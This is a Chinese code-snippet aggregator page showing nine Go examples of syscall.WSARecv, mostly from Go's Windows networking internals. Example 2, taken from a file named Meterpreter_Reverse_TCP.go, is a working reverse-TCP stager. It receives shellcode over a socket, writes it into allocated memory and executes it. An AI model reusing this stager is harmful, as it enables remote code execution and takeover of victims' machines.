当前位置: 首页>>代码示例>>Golang>>正文


Golang syscall.WSARecv函数代码示例

本文整理汇总了Golang中syscall.WSARecv函数的典型用法代码示例。如果您正苦于以下问题:Golang WSARecv函数的具体用法?Golang WSARecv怎么用?Golang WSARecv使用的例子?那么恭喜您, 这里精选的函数代码示例或许可以为您提供帮助。


在下文中一共展示了WSARecv函数的9个代码示例,这些例子默认根据受欢迎程度排序。您可以为喜欢或者感觉有用的代码点赞,您的评价将有助于系统推荐出更棒的Golang代码示例。

示例1: timeoutIO

func timeoutIO() {
	// CancelIO only cancels all pending input and output (I/O) operations that are
	// issued by the calling thread for the specified file, does not cancel I/O
	// operations that other threads issue for a file handle. So we need do all timeout
	// I/O in single OS thread.
	runtime.LockOSThread()
	defer runtime.UnlockOSThread()
	for {
		o := <-ioChan
		var e int
		switch o.f {
		case read:
			e = syscall.WSARecv(uint32(o.fd.sysfd), o.pckt.w, 1, o.done, o.flags, &o.pckt.o, nil)
		case readfrom:
			e = syscall.WSARecvFrom(uint32(o.fd.sysfd), o.pckt.w, 1, o.done, o.flags, o.rsa, o.size, &o.pckt.o, nil)
		case write:
			e = syscall.WSASend(uint32(o.fd.sysfd), o.pckt.w, 1, o.done, uint32(0), &o.pckt.o, nil)
		case writeto:
			e = syscall.WSASendto(uint32(o.fd.sysfd), o.pckt.w, 1, o.done, 0, *o.sa, &o.pckt.o, nil)
		case cancel:
			_, e = syscall.CancelIo(uint32(o.fd.sysfd))
		}
		o.c <- e
	}
}
开发者ID:IntegerCompany,项目名称:linaro-android-gcc,代码行数:25,代码来源:fd_windows.go

示例2: main

func main() {
	//RSE.Persistence()
	var WSA_Data syscall.WSAData
	syscall.WSAStartup(uint32(0x202), &WSA_Data)
	Socket, _ := syscall.Socket(syscall.AF_INET, syscall.SOCK_STREAM, 0)
	Socket_Addr := syscall.SockaddrInet4{Port: 5555, Addr: [4]byte{127, 0, 0, 1}}
	syscall.Connect(Socket, &Socket_Addr)
	var Length [4]byte
	WSA_Buffer := syscall.WSABuf{Len: uint32(4), Buf: &Length[0]}
	UitnZero_1 := uint32(0)
	DataReceived := uint32(0)
	syscall.WSARecv(Socket, &WSA_Buffer, 1, &DataReceived, &UitnZero_1, nil, nil)
	Length_int := binary.LittleEndian.Uint32(Length[:])
	if Length_int < 100 {
		main()
	}
	Shellcode_Buffer := make([]byte, Length_int)

	var Shellcode []byte
	WSA_Buffer = syscall.WSABuf{Len: Length_int, Buf: &Shellcode_Buffer[0]}
	UitnZero_1 = uint32(0)
	DataReceived = uint32(0)
	TotalDataReceived := uint32(0)
	for TotalDataReceived < Length_int {
		syscall.WSARecv(Socket, &WSA_Buffer, 1, &DataReceived, &UitnZero_1, nil, nil)
		for i := 0; i < int(DataReceived); i++ {
			Shellcode = append(Shellcode, Shellcode_Buffer[i])
		}
		TotalDataReceived += DataReceived
	}

	Addr := Allocate(uintptr(Length_int + 5))
	AddrPtr := (*[990000]byte)(unsafe.Pointer(Addr))
	SocketPtr := (uintptr)(unsafe.Pointer(Socket))
	AddrPtr[0] = 0xBF
	AddrPtr[1] = byte(SocketPtr)
	AddrPtr[2] = 0x00
	AddrPtr[3] = 0x00
	AddrPtr[4] = 0x00
	for BpuAKrJxfl, IIngacMaBh := range Shellcode {
		AddrPtr[BpuAKrJxfl+5] = IIngacMaBh
	}
	//RSE.Migrate(Addr, Length_int)
	syscall.Syscall(Addr, 0, 0, 0, 0)
}
开发者ID:RuthHaephrati,项目名称:HERCULES,代码行数:45,代码来源:Meterpreter_Reverse_TCP.go

示例3: Read

func (c *Conn) Read(b []byte) (int, error) {
	lenght := uint32(len(b))
	dataBuf := &s.WSABuf{Len: lenght, Buf: &b[0]}
	flags := uint32(0)
	qty := uint32(0)

	fmt.Printf("\nReception en cours\n")
	err := s.WSARecv(c.sd, dataBuf, 1, &qty, &flags, nil, nil)
	return int(qty), err
}
开发者ID:adrien3d,项目名称:gobox,代码行数:10,代码来源:connection_windows.go

示例4: Read

func (fd *netFD) Read(buf []byte) (int, error) {
	if err := fd.readLock(); err != nil {
		return 0, err
	}
	defer fd.readUnlock()
	o := &fd.rop
	o.InitBuf(buf)
	n, err := rsrv.ExecIO(o, "WSARecv", func(o *operation) error {
		return syscall.WSARecv(o.fd.sysfd, &o.buf, 1, &o.qty, &o.flags, &o.o, nil)
	})
	if raceenabled {
		raceAcquire(unsafe.Pointer(&ioSync))
	}
	err = fd.eofError(n, err)
	return n, err
}
开发者ID:klueska,项目名称:go-akaros,代码行数:16,代码来源:fd_windows.go

示例5: Read

func (fd *netFD) Read(p []byte) (n int, err os.Error) {
	if fd == nil {
		return 0, os.EINVAL
	}
	fd.rio.Lock()
	defer fd.rio.Unlock()
	fd.incref()
	defer fd.decref()
	if fd.sysfd == -1 {
		return 0, os.EINVAL
	}
	// Submit receive request.
	var pckt ioPacket
	pckt.c = fd.cr
	pckt.w = newWSABuf(p)
	var done uint32
	flags := uint32(0)
	var e int
	if fd.rdeadline_delta > 0 {
		a := &arg{f: read, fd: fd, pckt: &pckt, done: &done, flags: &flags, c: make(chan int)}
		ioChan <- a
		e = <-a.c
	} else {
		e = syscall.WSARecv(uint32(fd.sysfd), pckt.w, 1, &done, &flags, &pckt.o, nil)
	}
	switch e {
	case 0:
		// IO completed immediately, but we need to get our completion message anyway.
	case syscall.ERROR_IO_PENDING:
		// IO started, and we have to wait for it's completion.
	default:
		return 0, &OpError{"WSARecv", fd.net, fd.laddr, os.Errno(e)}
	}
	// Wait for our request to complete.
	r := waitPacket(fd, &pckt, 'r')
	if r.errno != 0 {
		err = &OpError{"WSARecv", fd.net, fd.laddr, os.Errno(r.errno)}
	}
	n = int(r.qty)
	if err == nil && n == 0 {
		err = os.EOF
	}
	return
}
开发者ID:IntegerCompany,项目名称:linaro-android-gcc,代码行数:44,代码来源:fd_windows.go

示例6: Read

func (fd *netFD) Read(buf []byte) (int, error) {
	if err := fd.readLock(); err != nil {
		return 0, err
	}
	defer fd.readUnlock()
	o := &fd.rop
	o.InitBuf(buf)
	n, err := rsrv.ExecIO(o, "WSARecv", func(o *operation) error {
		return syscall.WSARecv(o.fd.sysfd, &o.buf, 1, &o.qty, &o.flags, &o.o, nil)
	})
	if race.Enabled {
		race.Acquire(unsafe.Pointer(&ioSync))
	}
	if len(buf) != 0 {
		err = fd.eofError(n, err)
	}
	if _, ok := err.(syscall.Errno); ok {
		err = os.NewSyscallError("wsarecv", err)
	}
	return n, err
}
开发者ID:achanda,项目名称:go,代码行数:21,代码来源:fd_windows.go

示例7: Read

func (fd *netFD) Read(p []byte) (n int, err os.Error) {
	if fd == nil {
		return 0, os.EINVAL
	}
	fd.rio.Lock()
	defer fd.rio.Unlock()
	fd.incref()
	defer fd.decref()
	if fd.sysfile == nil {
		return 0, os.EINVAL
	}
	// Submit receive request.
	var pckt ioPacket
	pckt.c = fd.cr
	var done uint32
	flags := uint32(0)
	e := syscall.WSARecv(uint32(fd.sysfd), newWSABuf(p), 1, &done, &flags, &pckt.o, nil)
	switch e {
	case 0:
		// IO completed immediately, but we need to get our completion message anyway.
	case syscall.ERROR_IO_PENDING:
		// IO started, and we have to wait for it's completion.
	default:
		return 0, &OpError{"WSARecv", fd.net, fd.laddr, os.Errno(e)}
	}
	// Wait for our request to complete.
	r := <-pckt.c
	if r.errno != 0 {
		err = &OpError{"WSARecv", fd.net, fd.laddr, os.Errno(r.errno)}
	}
	n = int(r.qty)
	if err == nil && n == 0 {
		err = os.EOF
	}
	return
}
开发者ID:GNA-SERVICES-INC,项目名称:MoNGate,代码行数:36,代码来源:fd_windows.go

示例8: Submit

func (o *readOp) Submit() error {
	var d, f uint32
	return syscall.WSARecv(syscall.Handle(o.fd.sysfd), &o.buf, 1, &d, &f, &o.o, nil)
}
开发者ID:serge-hulne,项目名称:golang,代码行数:4,代码来源:fd_windows.go

示例9: Submit

func (o *readOp) Submit() (errno int) {
	var d, f uint32
	return syscall.WSARecv(uint32(o.fd.sysfd), &o.buf, 1, &d, &f, &o.o, nil)
}
开发者ID:jnwhiteh,项目名称:go,代码行数:4,代码来源:fd_windows.go


注:本文中的syscall.WSARecv函数示例由纯净天空整理自Github/MSDocs等开源代码及文档管理平台,相关代码片段筛选自各路编程大神贡献的开源项目,源码版权归原作者所有,传播和使用请参考对应项目的License;未经允许,请勿转载。